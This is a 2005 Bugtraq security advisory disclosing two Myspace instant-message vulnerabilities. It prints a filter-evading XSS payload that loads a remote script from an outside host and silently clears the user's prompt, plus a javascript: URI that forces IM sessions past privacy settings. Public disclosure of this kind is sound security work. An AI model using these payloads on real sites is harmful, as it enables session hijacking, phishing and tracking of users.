Date: 7 Dec 2005 02:36:05 -0000
From: silentproducts@...il.com
To: bugtraq@...urityfocus.com
Subject: Critical Myspace.com Vulnerabilites


(Is there a rule I am breaking in the scope of this advisory??)
http://www.silent-products.com/advisory12.5.05.txt

Critical Myspace Vulnerabilities Leave Every Active Account Exploitable
Reported December 5th, 2005

Introduction
------------
In this advisory we will be detailing some very recent holes in the Myspace.com web-application.  If you are not
familiar with Myspace there is much information about the internet phenomenon on the web that will do better
justice at describing what it is than I can here.  Both vulnerabilities lie within the Instant Message (IM) feature
from within the site.  Proper manipulation of both exploits leaves every active account on Myspace potential targets.  As displayed
by a quite harmless worm Sammy - the seriousness of an effective Myspace hack that would permit nearly unrestricted
access to all active accounts should be quite well understood.  With this we will be just detailing the vulnerabilities
and how one might exploit the vulnerabilities without imbedding much of the politics and opinions that could go with it.
At the time of this write up one of the exploits has been patched by Myspace (the first - and more serious - one) whereas
no action has been taken to fix the other reported vulnerability.  The information is to be used to derive the seriousness
of the issue and to add to the general information base of web-application security holes for developer reference.

Vulnerability 1: XSS/Script Injection Vulnerability in MySpace IM Webapplication
--------------------------------------------------------------------------------
Upon an IM request - a javascript command is appended to every requested page on myspace.com that will cause a 
prompt to appear asking if the user would wish the accept/reject the IM request from the other user.  The appended 
script appears at the bottom of the HTML and is much like the following:
<script language="javascript">
	<!--				
	window.parent.up_launchIC( '123456', '123456', 'a', '1', 'http:\/\/profile.myspace.com\/index.cfm?fuseaction=user.viewprofile&friendID=123456&showIM=false', 'F', '21', 'a, a', 'http://x.myspace.com/images/no_pic.gif' );
	//-->
</script>

The function up_launchIC comes from the following script which is included on every page on Myspace:
http://x.myspace.com/js/functions.js

The arguments passed to the function up_launchIC(); allows the script to generate a sort of popup that notifies the user
of the incoming IM request, who it's from, and allows them to accept/reject the request.  Three of these arguments can
be manipulated by the target and are not properly filtered (Display Name, City, and State).  An attacker can break out of
the function using the unfiltered ' character.  By properly crafting a malicious Username/City/State combination the attacker
can force script execution on the target's browser.

This exploit can be automated and only requires that the user be active on myspace.com and logged in - in order for
the exploit to work.  The target is not required to visit any special page for this exploit to work since the accept/reject 
prompt is injected into every page on the myspace domain.  This makes this exploit critical.

Instant Messaging can be disabled and hampering the effects of this exploit.  However, due to another vulnerability
in myspace.com that circumvents any of the IM settings (will be outlined in Vulnerability 2), a proper exploit cannot
be protected against by the client.

There are a number of exploit restrictions that make the exploit more difficult to develop - but not impossible.  The first
is size.  There are a total of 150 characters that can be injected and also the exploit must clean up the javascript it
broke out of to not cause any errors.  This amount is plenty to inject a remote script which can be of any length using
<script src=remote script.js>.  The second limitation is filtering.  There are active filters that monitor the content
placed in the fields (filtering out <script etc.).  For our needs we need only to circumvent the filters on <script which
can be done using document.write('<sc','ript'); which breaks up the filtered word.  Another filtering limitation applies to
only the name field in which < or > cannot be used.  This is not fatal to the exploit - the developer of the exploit just
needs to be aware of such.

The following exploit will cause a script to be injected from http://a.bcde.net/fg/h.js.  Additionally it will call the
up_clearICNotify function which clears the prompt (passing the attacker's Friend ID) so the exploit executes without any
notification to the target.

[Exploit For Vulnerability #1]
Create an account with the following information in the account display fields and then request an IM with a user:
NAME/CITY/STATE:
',1);up_clearICNotify('12345678');var x='.bcde';('
');document.write('<s','cript src=http://a',x);(''
'');document.write('.net/fg/h.js></s','cript>');('

This vulnerability is patched by filtering the ' character (the ' character is replaced by .. in Myspace).

Vulnerability 2: Force IM Request
---------------------------------
The IM application doesn't handle the send request function correctly.  Normally, if a user was to try to send an IM request
to someone with the feature disabled they will receive an error message stating such.  However, if the user was to send a message
to Myspace as if they were ACCEPTING a request supposedly requested by the other party - this isn't verified and the IM request
goes through.  This forged acceptance can be exploited by simple means of calling the up_launchIC function locally and accepting
the request.

[Exploit For Vulnerability #2]
While logged into your Myspace account copy+paste the following into your URI field (works for IE and Firefox) and hit enter:
javascript:window.parent.up_launchIC( '[ATTACKER FriendID]', '[TARGET FriendID]', 'amanda', '1', 'http:\/\/www.myspace.com\/index.cfm?fuseaction=user.viewProfile&friendID=12999703&Mytoken=20050410024025&showIM=false', 'M', '17', ', ', 'http://n00084.myspace.com/00084/36/34/84744363_s.jpg' );
(Replace the [ATTACKER FriendID] with the FriendID of the attacking account and [TARGET FriendID] with the FriendID of the target account)

The function for the IM incoming request will be provoked and a prompt will be provided to you.  Accept it - and the session will be created
regardless of what privacy settings the target has set for the IM feature.

This vulnerability has still not be addressed by Myspace as of today.

Ramifications:
--------------
With properly exploitation of both exploits a script can be injected onto the target within the Myspace domain.  This can allow unsuspected,
unguided session hijacking, convenient grounds for phishing attacks, and also user tracking (the exploit can be crafted in such a way that it
appears on every page and reports what the user is doing and where they are going within Myspace).  The depth of the combined vulnerabilities
provides much power to the creative exploit writer.  The vulnerability could even be waged as a worm much like the Sammy worm, but more effective
in that the vulnerabilities it exploits is far less restricting.  Given the general personal nature of Myspace makes this exploit that much more
dangerous.

We hope the informational approach of this write-up allows the readers to draw a sober insight on the importance and seriousness of web-application
and social-network security.

Justin Lavoie
Silent Productions
http://www.silent-products.com
silentproducts@...il.com

Powered by blists - more mailing lists